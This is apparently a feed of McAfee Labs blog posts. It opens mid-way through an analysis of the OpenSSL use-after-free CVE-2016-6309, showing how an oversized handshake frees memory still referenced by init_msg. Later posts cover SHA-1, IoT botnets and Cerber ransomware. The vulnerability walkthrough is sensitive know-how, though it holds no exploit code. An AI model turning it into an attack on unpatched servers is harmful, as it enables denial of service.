Now s->init_msg points to our handshake message, and is contained in the buffer pointed to by s->init_buf.data.

2016-12-07-openssl-vuln-2016-6309-4

Figure 4: The scenario in which the control flow returns only from the function BUF_MEM_grow_clean.

At this point, apparently init_buf.data has been changed, but init_msg still points to 0x6c3184.

  • s->init_msg=0x6c3184
  • s->init_buf.data=0x6ce7c0

Now let’s step into the function BUF_MEM_grow_clean to find out why s->init_buf.data has changed:

size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)

{

char *ret;

size_t n;

if (str->length >= len) {

if (str->data != NULL)

memset(&str->data[len], 0, str->length – len);

str->length = len;

return (len);

}

if (str->max >= len) {

memset(&str->data[str->length], 0, len – str->length);

str->length = len;

return (len);

}

if (len > LIMIT_BEFORE_EXPANSION) {

BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);

return 0;

}

n = (len + 3) / 3 * 4;

if ((str->flags & BUF_MEM_FLAG_SECURE))

ret = sec_alloc_realloc(str, n);       <—–realloc a new memory for init_buf

else

ret = OPENSSL_clear_realloc(str->data, str->max, n);

if (ret == NULL) {

BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);

len = 0;

} else {

str->data = ret;

str->max = n;

memset(&str->data[str->length], 0, len – str->length);

str->length = len;

}

return (len);

}

In the preceding code, we have marked the place where memory reallocation occurs. If we can pass all three checks (“str->length >= len,” “str->max >= len,” and “len > LIMIT_BEFORE_EXPANSION”), the function would eventually change s->init_buf.data (str->data) with the memory allocated by sec_alloc_realloc (marked).

2016-12-07-openssl-vuln-2016-6309-5

Figure 5: The values of variables str->length, len, and str->max. All three variables can be controlled by the attacker.

From Figure 5, we can clearly see the values of variables when the program is executing inside the BUF_MEM_grow_clean:

  • len=0x5564 (the packet’s real length)
  • str->length=0x4000 (the length of the handshake message)
  • str->max=0x5558 (the length of challenge)

Because we can control the value of all three variables, it is trivial to bypass all the checks and hit the sec_alloc_realloc function.

Finally, let’s see what happens inside the function sec_alloc_realloc:

static char *sec_alloc_realloc(BUF_MEM *str, size_t len)

{

char *ret;

ret = OPENSSL_secure_malloc(len);          <———realloc memory

if (str->data != NULL) {

if (ret != NULL)

memcpy(ret, str->data, str->length);

OPENSSL_secure_free(str->data);       <———free old memory

}

return (ret);

}

The function sec_alloc_realloc reallocates new memory, and then frees the old memory (marked). At this point, however, s->init_msg is still pointing to the old memory that has been freed by sec_alloc_realloc. Thus later when s->init_msg is referenced, the program will either crash, or in some cases be forced to access the attacker-controlled memory, which may lead to code execution.

The patch added the new function grow_init_buf to replace the function BUF_MEM_grow_clean, and the new function will update init_msg when OpenSSL reallocates new memory to make sure it points to valid memory. For better visualization, we prepared a video to demonstrate the attack in action. (In the video, the right window shows an OpenSSL server on port 443 with standard parameters. In the left window, we send an oversized handshake to the vulnerable server, which crashes.)

 

Impact

More than 60% of active websites use OpenSSL to transfer data. More and more sites now use OpenSSL to protect the sensitive user information, such as passwords, card IDs, and usernames. Amazon, the world’s largest cloud vendor, recommend OpenSSL to its customers, and offers many advisories.

Many of us remember the notorious OpenSSL Heartbleed attack, which occurred in April 2014. At that time it was considered the Internet’s worst nightmare. “A survey of American adults conducted in April 2014 showed that 60% had heard about Heartbleed. Among those using the Internet, 39% had protected their online accounts, for example by changing passwords or canceling accounts; 29% believed their personal information was put at risk because of the Heartbleed bug; and 6% believed their personal information had been stolen,” according to Wikipedia. From the attack and these survey results, we can see that a single critical OpenSSL issue can cause a significant impact on the Internet due to OpenSSL’s wide deployment. The vulnerability, CVE-2016-6309, that we discuss in this post is different from other OpenSSL vulnerabilities. In this case, the flaw occurs when the OpenSSL server handles the handshake message, the first packet of the TLS protocol. This makes the attack easy to carry out because the attacker can send just one packet to deny access to the server without the need for authentication.

The update is available here.

For McAfee Network Security Platform customers, we have released the signature 0x45c08f00 “SSL: Possible OpenSSL Use-After-Free Vulnerability (CVE-2016-6309)” to prevent this attack.

The post How to Protect Against OpenSSL 1.1.0a Vulnerability CVE-2016-6309 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/how-to-protect-against-openssl-1-1-0a-vulnerability-cve-2016-6309/feed/ 0
Farewell to the SHA-1 Hash Algorithm https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/farewell-sha-1-hash-algorithm/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/farewell-sha-1-hash-algorithm/#respond Thu, 01 Dec 2016 01:46:22 +0000 https://securingtomorrow.mcafee.com/?p=66734 Rest in peace SHA-1. Like all security controls, they are valuable only for a certain time. SHA-1, a legacy hashing algorithm once used heavily in secure web browsing, has outlived its usefulness; it is time for its permanent retirement. Microsoft, Mozilla, and Google just announced they will finally drop all support for SHA-1 early next […]

The post Farewell to the SHA-1 Hash Algorithm appeared first on McAfee Blogs.

]]>
encrypted_laptop650

Rest in peace SHA-1. Like all security controls, they are valuable only for a certain time. SHA-1, a legacy hashing algorithm once used heavily in secure web browsing, has outlived its usefulness; it is time for its permanent retirement. Microsoft, Mozilla, and Google just announced they will finally drop all support for SHA-1 early next year. The risks of using a weak hashing algorithm in browsers include the possibility of man-in-the-middle attacks, spoofed content, and even phishing against victims.

This security hashing algorithm has been around since circa 1995 and heavily used in protecting web content. Hashing algorithms provide a vital role in verifying the integrity of files and are used when making a secure web connection (i.e., https:// sites) to ensure you are visiting the correct location and not a spoofed site looking to harvest your data. The problem arose in 2005 when researchers from Princeton University published a paper showing it was possible to find collisions much easier than previously thought. For hashing, collisions represent the ability to duplicate the verification with a different source, thus invalidating the security of the system.

The National Institute of Standards and Technology has recommended since 2012 switching to the upgraded SHA-2 variant. But removing embedded algorithms is not an easy or convenient process for website administrators. Thus outdated versions tend to linger on well after their useful life. Ultimately, such legacy support becomes more caustic over time and lends itself to progressively weaker security.

So, the end of SHA-1 is good news for everyone, except attackers. Farewell SHA-1. The industry has finally stood up and collectively voted you out.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

 

The post Farewell to the SHA-1 Hash Algorithm appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/farewell-sha-1-hash-algorithm/feed/ 0
Worms Could Spread Like Zombies via Internet of Things https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/worms-could-spread-like-zombies-via-internet-of-things/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/worms-could-spread-like-zombies-via-internet-of-things/#respond Mon, 21 Nov 2016 23:45:46 +0000 https://securingtomorrow.mcafee.com/?p=65258 Security researchers recently created a proof-of-concept attack against Internet-connected lightbulbs, causing breached devices to infect their neighbors. The propagation continues and spreads itself across the community. This hack highlights the insecurity in one of many Internet of Things (IoT) network protocols. Researchers say the worm, which currently targets Philips Hue lightbulbs, can set off a […]

The post Worms Could Spread Like Zombies via Internet of Things appeared first on McAfee Blogs.

]]>
home-automation-networks1

Security researchers recently created a proof-of-concept attack against Internet-connected lightbulbs, causing breached devices to infect their neighbors. The propagation continues and spreads itself across the community. This hack highlights the insecurity in one of many Internet of Things (IoT) network protocols.

Researchers say the worm, which currently targets Philips Hue lightbulbs, can set off a chain reaction that could compromise devices across entire cities. Right now, the hack causes the insecure web-connected globes only to flick on and off, but this is only a proof of concept to show foundational weaknesses. It is likely more advanced impacts and propagation could be developed.

Home automation networks

The primary weakness is in the network to which the devices are connected. ZigBee, Thread, WeMo, and Z-Wave were developed as home automation standards to communicate with and control IoT devices. They have been around for years and complement more familiar Wi-Fi and Bluetooth standards. In many cases these require a hub, which can connect a mix of products communicating on two or more of these standards. These are popular in homes settings and have expanded over the years into business environments.

ZigBee and Z-Wave are the most widely used of these automation protocols. Z-Wave has more than 1,500 products, totaling over 50 million devices in customers’ hands, and ZigBee has more than 1,000 products. Thread is the newest and, unlike ZigBee/Z-Wave, is IP based, which has both pluses and minuses from a security perspective. The Thread protocol was driven by the needs of Google’s Nest Labs, Samsung Electronics, ARM, and others who want a smart-home networking protocol compatible with IP Version 6.

home-automation-networks

Theoretical attack

The vulnerability research highlights the insecurity of such systems, especially in peer-to-peer or mesh mode. Such configurations can open the door to chained attacks, such as zombie infestations you see in movies. The worm spreads by jumping from one infected lamp to physically nearby neighbors using their ZigBee connections. Because there is no validation between Philips Hue globes, the attack is allowed to spread.

Based upon percolation theory simulations to infect an entire city, researchers believe there is a tipping point at which it would take at least 15,000 vulnerable devices to sustain the contagion to spread everywhere. With any fewer, they suspect the infection would remain restricted to certain areas and not infect an entire city. Estimates vary, but the total number of global IoT devices may exceed 30 billion by 2020. Many of these will be connected to home automation networks.

Key points

  1. This is a proof-of-concept attack, not yet seen in the wild. It does highlight the risks that entire networks of devices may be compromised and, even worse, configured to infect each other.
  2. A real-world attack could range from flashing lights to moderately inconvenient and costly incidents in which devices must be recovered while safety may be at risk. Impacts will be based upon the types of devices deployed and how they are used. Household-convenience devices are less important than those in an emergency room or illuminating a busy intersection.
  3. The vulnerability research is a motivator for standards bodies to take action in hardening these standards. Future versions, with improved security, may not be backward compatible in all cases and residual devices would remain susceptible to attack.
  4. These standards have some encryption and authentication controls in place; but, as the research has proven, these can be undermined.
  5. Such attacks are a fear of “smart city” developers, most of whom have known this could happen. Long-term security is still uncertain.

The importance of IoT security is currently a hotly debated topic; these additional weaknesses add to the overall concerns. I expect both further vulnerability research and eventual real-world attacks will inspire developers to work on insecure IoT network protocols. We need more scrutiny and better design and security practices because these devices will soon control more facets of our personal lives and business functions.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

 

The post Worms Could Spread Like Zombies via Internet of Things appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/worms-could-spread-like-zombies-via-internet-of-things/feed/ 0
More Capable IoT Botnets to Emerge as the ‘Pros’ Enter the Fray https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/more-capable-iot-botnets-to-emerge-as-the-pros-enter-the-fray/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/more-capable-iot-botnets-to-emerge-as-the-pros-enter-the-fray/#respond Wed, 09 Nov 2016 05:03:49 +0000 https://securingtomorrow.mcafee.com/?p=64205 On the heels of severe distributed denial of service (DDoS) attacks, we see new botnets emerging that are powered by the Internet of Things (IoT). There are already hundreds of such botnets in the underground hacking ecosystem, from which services, code, and specific attacks can be purchased or acquired. New botnets are being developed to […]

The post More Capable IoT Botnets to Emerge as the ‘Pros’ Enter the Fray appeared first on McAfee Blogs.

]]>
botnet1

On the heels of severe distributed denial of service (DDoS) attacks, we see new botnets emerging that are powered by the Internet of Things (IoT). There are already hundreds of such botnets in the underground hacking ecosystem, from which services, code, and specific attacks can be purchased or acquired. New botnets are being developed to meet the growing demand and to circumvent anticipated security controls.

The latest IoT botnet

Researchers have spotted the new IoT botnet Linux/IRCTelnet. In just five days, it infected 3,500 devices and features an old-school adaptation: using Internet relay chat (IRC) as the control structure. IRC is a very old technology based upon the original chat boards (before the World Wide Web). A decade ago many of the first botnets used IRC. It is not particularly difficult for security software to combat, and thus represents a curious choice by the attackers, whom I assume are not top tier (certainly not at the level of nation-states).

Linux/IRCTelnet is not based upon the popular Mirai IoT DDoS botnet software, but rather on Aidra code. Linux/IRCTelnet does, however, leverage the default passwords of IoT devices to gain control. It is the easiest path at the moment. Attackers will find other entries once that door closes, so do not imagine we can “solve” IoT security with the elimination of default passwords. It is just one chess move in a long game we are begrudgingly forced to play. Although this Linux bot is still new and small, it could hold the potential for more directed attacks and highlights how malware writers are working to differentiate their attack code.

More targets will arise

We already see a broad range of telecommunications, political, business, Internet infrastructure, and social sites being targeted. The latest is an attack against the national Internet access of Liberia. Access to the web has been spotty for customers, with attackers at times pushing more than 600Gb/second of data to choke the network. Most access is provided by the African Coast to Europe undersea cable, and these attacks could affect many other nations in West Africa that rely on this data pipeline.

What comes next?

Expect more entry-level botnets, many of which will eventually be supplanted by more professional malware. Thus far, most of the IoT botnets have been basic. This will change as more professional and well-funded players emerge.

Look for sophisticated attackers to do the following when they enter the fray:

  • Patch or change the passwords of the victims’ IoT devices after infection, so others cannot take over their prey.
  • Set up more sophisticated and concealed control structures to make it more difficult to track bot herders or interfere with their commands.
  • Implement encrypted communications to the end nodes to conceal instructions, updates, and new targeting instructions.
  • Begin exploiting vulnerabilities in real-time or standard operating systems on high-end devices to gain more functionality and persistence.
  • Begin siphoning data from IoT devices, which can be valuable for many purposes, including extending attacks further into homes, businesses, and governments.

I predict the next phase of attacks on availability will begin right around the time the industry effectively addresses the default-password weaknesses. Then we’ll see confidentiality attacks, followed by integrity compromises. Brace for a long fight because IoT devices are highly coveted by attackers. This competition will be a major challenge.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post More Capable IoT Botnets to Emerge as the ‘Pros’ Enter the Fray appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/more-capable-iot-botnets-to-emerge-as-the-pros-enter-the-fray/feed/ 0
Talking About Cyber Risks Educates the Community https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/talking-about-cyber-risks-educates-the-community/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/talking-about-cyber-risks-educates-the-community/#respond Mon, 07 Nov 2016 20:02:26 +0000 https://securingtomorrow.mcafee.com/?p=64165 In the last 12 months, we have seen an unprecedented number of cyberattacks occur or come to light. Sophisticated attacks against governments, businesses, consumers, and the pillars of the Internet itself. The future appears to be fraught with runaway risks. Can security tame data breaches, ransomware, massive denial of service assaults, cyber theft, and attacks against autonomous and […]

The post Talking About Cyber Risks Educates the Community appeared first on McAfee Blogs.

]]>
table-discussion

In the last 12 months, we have seen an unprecedented number of cyberattacks occur or come to light. Sophisticated attacks against governments, businesses, consumers, and the pillars of the Internet itself. The future appears to be fraught with runaway risks. Can security tame data breaches, ransomware, massive denial of service assaults, cyber theft, and attacks against autonomous and Internet-connected devices that potentially put people’s lives in jeopardy?

That was the topic for the advisory council members of the Bay Area SecureWorld conference, recently held in San Jose, Calif. As moderator, I had the task is keeping control of a conversation with a room full of passionate experts who live and breathe these challenges every day.

In the past year, a number of significant risks have risen. The team had no hesitation in talking about some of the big issues.

IoT DDoS attacks

Consumers and business are feeling the impact of massive distributed denial of service (DDoS) attacks, fueled by insecure Internet of Things (IoT) devices. The sheer impact of data and requests that these botnets can wield is an order of magnitude greater than the industry’s comfort zone. The consensus is that everyone should be worried and the fix is not quick. The IoT industry must change to embrace security across the life cycle of these devices. In a twisted way, these recent attacks are a good wake-up call for the industry. The group agreed that it is far better to have these incidents occur now rather than down the road, when billions more IoT devices will be connected to the Internet.

Data breaches

On the heels of the worst year (2015) for health care data breaches, the hemorrhaging continues. This is by no means limited to health care, as many other sectors are being impacted. An interesting debate emerged challenging the role and impacts of government regulations in this space. One side postulated the government has weakened security by setting a confusing bar that is too low. Compliance does not make organizations secure, which is an unfortunate mental trap. Many organizations fund only what is needed to achieve the minimal requirements. On the other side, advocates of regulation and auditing pointed out that without a baseline many organizations would fall severely short. As we all work together, we need assurance that other partners, parties, suppliers, and vendors are implementing security controls which meet expectations.

Nobody believed the legislative process could effectively keep pace with the changes in the industry. But all agreed that the lack of consistency, readability, and simplicity of regulations is a problem. Complexity increases costs, delays implementation, and causes confusion. Smarter, lightweight, and easily understood guidelines would benefit the community.

Credit card and online fraud

Major retailers saw a drop in in-store credit fraud with the introduction of new chip cards in the United States, accompanied with a correlated rise of online theft, in which the chip does not play a role. In effect, fraud continues, but the bubble was squeezed from in-store to online properties. It is a predictable outcome when threat agents are viewed as intelligent attackers. They will adapt. Shrinkage figures are not outrageous, but the online security teams are feeling the heat to keep them low. This pressure will likely require a combination of new technology, back-end analytics, and user-behavior changes. Greed is a persistent attribute of cybercriminals. Other activities, such as ransomware, are also currently painful for consumers, health care, and small businesses. Enterprises have their ears open to shifts in which they may become the primary targets if attackers can find a way to reach into their deep pockets.

Gone in 60 minutes

The industry is full of risks and opportunities. Sitting in a room of experienced professionals who are sharing their insights and experiences reveals one important fact. These conversations must occur more often if we are to keep pace with the attackers. Our adversaries share information and are masterful at working together to our detriment. We, the cybersecurity community, must do the same in order to survive. Our hour together raced by quickly. I look forward to more meetings, discussions, debates, and venting sessions.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Talking About Cyber Risks Educates the Community appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/talking-about-cyber-risks-educates-the-community/feed/ 0
Cerber Ransomware Now Hunts for Databases https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cerber-ransomware-now-hunts-databases/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cerber-ransomware-now-hunts-databases/#respond Fri, 04 Nov 2016 20:29:11 +0000 https://securingtomorrow.mcafee.com/?p=64077 Cerber is one of the most popular ransomware packages. It has upgraded itself to also target databases. It is available for purchase as a service (ransomware as a service) on the “dark net” as part of an affiliate program. Cerber is part of a turnkey service in which clients share 40% of their profits with […]

The post Cerber Ransomware Now Hunts for Databases appeared first on McAfee Blogs.

]]>
ransomware

Cerber is one of the most popular ransomware packages. It has upgraded itself to also target databases. It is available for purchase as a service (ransomware as a service) on the “dark net” as part of an affiliate program. Cerber is part of a turnkey service in which clients share 40% of their profits with the developers. In turn, the Cerber team does all the work on the back end to make it simple for their affiliates to distribute the malware and receive payments from victims, minus the overhead costs.

This update is significant. It expands the capabilities to not only targeted consumers, but now to businesses as well. This shift is the latest trend with the top ransomware families. Attackers have realized that though consumers may pay $300–$500 for their files, businesses will may much more. As most criminals do, they pursue the money.

Three changes  

The latest version of Cerber has made three important changes. The malware now alters the extensions of encrypted files to a random four characters. Previously it changed the extension of altered files to .cerber3. This adaptation makes it more difficult to scan for affected files. (For more on the extensions, read this McAfee Labs blog.)

Second, a new HTML executable file displays the ransom note and instructions in a window. It is cleaner, provides links, and is more professional looking. This may give victims more confidence that they are dealing with professionals and should expect to receive a key to unlock their files if they pay.

cerber

Finally, and most important, the malware now attempts to stop database processes running on the target system so it can encrypt the data. This is a significant shift in focus from consumers to businesses, which typically run databases containing important operational data. When database files are open and in use by software, they cannot easily be encrypted. Cerber attempts to close the database software so the files can be encrypted.

Big business 

Security experts believe Cerber is based in Russia because it avoids systems configured in the Russian language. But it has the rest of the world to target, and it does well. Estimates vary, but profits appear to range from $1 million to $2.5 million per year. In August, Check Point Software and IntSights tracked 161 campaigns active with eight new ones launched every day. In July, they tracked 150,000 new system infections, with an average extortion demand of one Bitcoin.

Cerber in action

Cerber developers are pushing the next evolution of ransomware by going after database files. Admins, watch your database processes for unexpected stops. It might be an indication of Cerber ransomware trying to undermine file integrity. But that would be the wrong time to consider instituting good backups and applying good security practices.

The best strategic cybersecurity capability process includes elements to Predict, Prevent, Detect, and Respond to risks. This holds true for protection against ransomware. A solid data backup/restoration capability is important, as is quality antimalware to block attacks. Behavioral controls to educate users will reduce the biggest infection vector: people opening infected phishing emails. Rapid detection and sensors must be present to quickly raise the alarm for variants that cannot be stopped. Recovery teams with clear processes, tools, and backups must then get things back to normal. Ransomware is not easy to defeat, but the first step it to have a comprehensive plan and resources. Cerber and others will continue to evolve. Therefore, your security must be just as agile.

Resources

Image credit and a good write-up: http://www.bleepingcomputer.com/news/security/cerber-ransomware-switches-to-a-random-extension-and-ends-database-processes/

Video credit: http://www.securityspyware.com/cerber-ransomware-virus-removal-decrypt-random-extension/

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedInOpens in a new window to hear insights and what is going on in cybersecurity.

The post Cerber Ransomware Now Hunts for Databases appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cerber-ransomware-now-hunts-databases/feed/ 0
Top 5 Things to Know About Recent IoT Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/top-5-things-know-recent-iot-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/top-5-things-know-recent-iot-attacks/#respond Wed, 02 Nov 2016 09:10:49 +0000 https://securingtomorrow.mcafee.com/?p=64006 Recent Internet attacks have resulted in several popular sites becoming unreachable. The list includes Twitter, Etsy, Spotify, Airbnb, Github, and The New York Times. These incidents have brought to light a new threat to online services: botnets powered by the Internet of Things (IoT). Distributed denial of service (DDoS) attacks have been commonplace for more […]

The post Top 5 Things to Know About Recent IoT Attacks appeared first on McAfee Blogs.

]]>
internet_of_things_318996506

Recent Internet attacks have resulted in several popular sites becoming unreachable. The list includes Twitter, Etsy, Spotify, Airbnb, Github, and The New York Times. These incidents have brought to light a new threat to online services: botnets powered by the Internet of Things (IoT). Distributed denial of service (DDoS) attacks have been commonplace for more than a decade but have rarely been too troublesome. For the past several years, network providers security services have been able to absorb such attacks to keep online properties available. But the game has now changed.

In essence, when a number of devices can be controlled to simultaneously flood a destination with network requests, the target becomes overloaded and legitimate requests cannot be processed. Traditional network filters are smart enough to recognize a handful of systems attempting this malicious behavior and simply drop all requests from them. But when thousands of systems mount an attack, the normal filters fail to recognize legitimate from malicious traffic and the availability of the system crumbles.

Cybercriminals and hacktivists have found a new weapon in this war, the IoT. Billions of IoT devices exist and can be as small as a piece of jewelry or as large as a tractor. They all have one thing in common: They connect to the Internet. This connection offers tremendous benefits. People can monitor their homes from afar with cameras, check the contents of their refrigerator while at the store, and do a myriad of other great things with these connected beneficial gadgets. We must not forget, however, that these are just tools. They can be wielded for good or employed for malice. To hackers, each one of these devices is a potential robotic soldier that could be a recruit into their bot armies.

A recent attack against a major DNS provider has highlighted this vulnerability to millions of Internet users. Botnets containing tens or hundreds of thousands of hijacked IoT devices can bring down major pieces of the Internet. IoT devices now represent a new and formidable threat. The next few months will be telling. For now, let’s cut through the hype and understand the important aspects of recent IoT DDoS attacks.

5 key points:

  1. Insecure IoT devices pose new risks for everyone. Every IoT device that can be hacked is a potential soldier in a botnet army which could be used to bring down important parts of the Internet. Such attacks can interfere with your favorite sites for streaming, social media, online-shopping, banking, etc. If you own such weak or poorly configured devices, then you could be contributing to the problem.
  2. IoT devices are valuable to hackers; they will not give them up without a fight. Although attacks such as the malware in the Mirai botnets are simple in nature, they will evolve as quickly as they need to for the attackers to remain in control. IoT devices are hugely valuable to hackers, as they empower them to conduct devastating DDoS attacksOpens in a new window with little effort.
  3. DDoS attacks from IoT devices are severe and tough to defend against. Identifying and filtering out attacks from a handful of systems is easy. When faced with tens or hundreds of thousands, it is nearly impossible. The amount of resources needed to fend off attack is tremendous and costly. The recent attack to knock Brian Krebs’ security-reporting site offline resulted in Akamai’s vice president of web security stating “If this kind of thing is sustained, we’re definitely talking millions” of dollars in cybersecurity services to keep the site available. That is powerful. Look for attackers to not give up easily. These always connected devices are perfect for DDoS botnets.
  4. Cybercriminals and hacktivists are driving these attacks. There is speculation that nation-states are behind the latest string of attacks. That is highly unlikely. The authors of Mirai, one of hundreds of botnets, voluntarily released the code to the public, something a governmental team would never do purposefully. However, it is a good bet that after witnessing how powerful IoT botnets are, nation-states are probably working on similar strategies but with much more advanced capabilities. In the short term, cybercriminals and hacktivists will remain the main culprits behind these attacks. During the next few months, expect criminals to find angles for making a financial profit, like extortion.
  5. It will get worse before it gets better. Unfortunately, most IoT devices that have been deployed lack strong security defenses. The ones being hacked now are the easiest, with default passwords that are published for anyone to look up. Hacker software simply connects and logs into the device, unless the owner has changed the default password. It is no surprise that most have not taken this important step. Instantly, the attackers have another soldier to do their bidding. In order for this situation to get better, several aspects must be addressed. Devices must be designed with security in mind, configured properly, and managed to keep security updated. This will take both technical and behavioral changes in the long run to keep pace with evolving hackers.

To learn more, read How to Secure the Future of IoTOpens in a new window.

securing-iot-devices

Hacking IoT devices is now a problem for everyone. Due to the ease of compromise and massive numbers of IoT devices that are connected to the Internet, cybercriminals and hacktivists have a vast resource to fuel powerful DDoS campaigns. We are just starting to see the attacks and issues around IoT security. It will continue to be a problem until more comprehensive controls and behaviors make us all more secure.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist)Opens in a new window and LinkedInOpens in a new window to hear insights and what is going on in cybersecurity.

The post Top 5 Things to Know About Recent IoT Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/top-5-things-know-recent-iot-attacks/feed/ 0
The Latest IoT Device I Do Not Want Hacked https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/latest-iot-device-not-want-hacked/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/latest-iot-device-not-want-hacked/#respond Tue, 01 Nov 2016 19:21:53 +0000 https://securingtomorrow.mcafee.com/?p=64003 What if someone hacked this remotely controlled semiautonomous tractor? I am a cybersecurity guy and a huge fan of technology. One of the challenges we face in the security industry is the growth of the Internet of Things (IoT). IoT is about connecting everyday objects to the Internet. It might be a toaster, alarm clock, […]

The post The Latest IoT Device I Do Not Want Hacked appeared first on McAfee Blogs.

]]>
case-ih-autonomous-concept-vehicle

What if someone hacked this remotely controlled semiautonomous tractor?

I am a cybersecurity guy and a huge fan of technology. One of the challenges we face in the security industry is the growth of the Internet of Things (IoT). IoT is about connecting everyday objects to the Internet. It might be a toaster, alarm clock, pressure sensor, valve, security camera, medical pill, or vehicle. The benefits can be tremendous, with remote monitoring, management, and the ability to control something from afar. It can enable machines to do the mundane tasks we want to avoid.

This is why the IoT market is exploding. The estimates of IoT devices connected to the Internet is approximately 25 billion by 2020.

But there are risks, because technology is just a tool. One that can be used for noble purposes but also for malicious acts. Every connected device could potentially be taken over by someone who is not interested in your privacy, safety, or prosperity.

It could be petty, as with someone who makes your crock pot overcook your dinner. But it could be unnerving and downright dangerous. A stalker who hacks your home cameras without your knowing. A terrorist who takes over operation of vehicles on the freeway. A nation-state that can undermine an adversary’s power grid and water supply. An anarchist who brings down critical equipment in emergency rooms. These are not pleasant situations. Technology can be compromised.

So I spend my days looking into such things and pondering a future in which technology innovation and security threats intersect. Here is the latest little gem I was contemplating on a lazy afternoon: Meet the Case IH Autonomous Concept Vehicle. It is a powerful beast of a machine, a tractor that can run itself with semiautonomous capabilities or be controlled remotely by an operator. The benefits of an autonomous tractor, could be great, even game changing for the agriculture output of a farm. Taking advantage of narrow harvesting windows and using optimal routes to maximize the crop return, these things could run in packs, working 24/7 while stopping only for fuel, to maximize yields. They might even be able to farm areas we thought impossible or undesirable. The benefits to the farming output of a nation could be outstanding.

But on the other hand, I don’t want even one of these beasts to be hijacked by some hacker. The damage one could cause would be tremendous. The difficulty of stopping it may prove overwhelming to local law enforcement. A tornado on wheels.

I am not singling out this device over any others, just using it as an example of the juxtaposition of technology and security. There are tremendous potential benefits, but at the same time grievous potential risks. We as a society must understand both sides and maneuver in a way that finds a good balance, institutes proper safety measures, and aligns to healthy ethics for the greater community. Security grows more important as we embrace technology.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post The Latest IoT Device I Do Not Want Hacked appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/latest-iot-device-not-want-hacked/feed/ 0
How to Secure the Future of the Internet of Things https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/how-to-secure-the-future-of-the-internet-of-things/ Sat, 22 Oct 2016 00:49:36 +0000 https://blogs.mcafee.com/?p=53451 The world of security for the Internet of Things just became more complex. IoT devices are no longer a potential threat to their owners; now they pose a significant threat to everything connected to the Internet. The old IoT security problem For the past year, the cybersecurity and IoT communities have been at odds regarding […]

The post How to Secure the Future of the Internet of Things appeared first on McAfee Blogs.

]]>
iot5

The world of security for the Internet of Things just became more complex. IoT devices are no longer a potential threat to their owners; now they pose a significant threat to everything connected to the Internet.

The old IoT security problem

For the past year, the cybersecurity and IoT communities have been at odds regarding how to keep devices from harming their owners. Much of the focus emerged around industrial controls and transportation equipment. Vulnerable industrial controls devices could cause cascading effects to power stations, water distribution, chemical plants, heavy machinery, and other industrial facilities, posing a threat to workers or downstream users. There have been hacks, compromises, and stern warnings. Concerned governments are putting pressure and establishing requirements to protect services at a national level.

Vehicles, most notably airplanes and smart cars, have taken the bulk of the public’s attention. Hacks against Jeep, Tesla, and Volkswagen have shown how doors can be unlocked and total operating control commandeered with steering, breaks, and acceleration taken over by an attacker. A car that is rendered unusable by its owner or made to crash and injure occupants is frightening but apparently trivial if you do not own that type of vehicle. The public appears to be entertained by these research exploits but not too concerned. The danger may seem beyond the everyday consumer and the effects are likely limited to only those who could afford such conveyances.

On the low-cost side, home appliances, wearables, toys, and drones are already a part of the everyday consumer world, but hacking a smart toaster or rice cooker seems harmless, beyond some burnt starch.

Eventually, we will face more risks than we can imagine. As IoT devices are woven into the fabric of people’s daily lives, we will be at risk of their misuse. In the future they will begin to control the stoplights on the way to work, the equipment in the emergency room, control of progressively more vehicles on the road and in the sky, and the distribution of such necessities such as electricity, food, medicine, water, and communications. We will begin to understand how these little technical minions become critical to the smooth delivery of services in our future digital lives.

This is the space where thought-leading IoT manufacturers are working feverishly. The automobile industry in particular has been quick to invest in security to ensure their products do not cause accidents. Such work has begun, but it still has a long way to go in cars and across all the other billions of devices we will weave into our lives and businesses in the next few years.

The next generation of IoT devices is appearing and will work to help protect our property, monitor our health, automate our homes, keep our children safe, increase our communication, eliminate time-wasting chores, make us more efficient, and optimize our businesses. A great future to be sure, but it will need to be trustworthy and secure, as our reliance on the smallest elements will ultimately impact the biggest parts of our lives. These are all known and accepted security challenges in the world of IoT. This is not the end of the security story, only the beginning.

The new IoT security problem

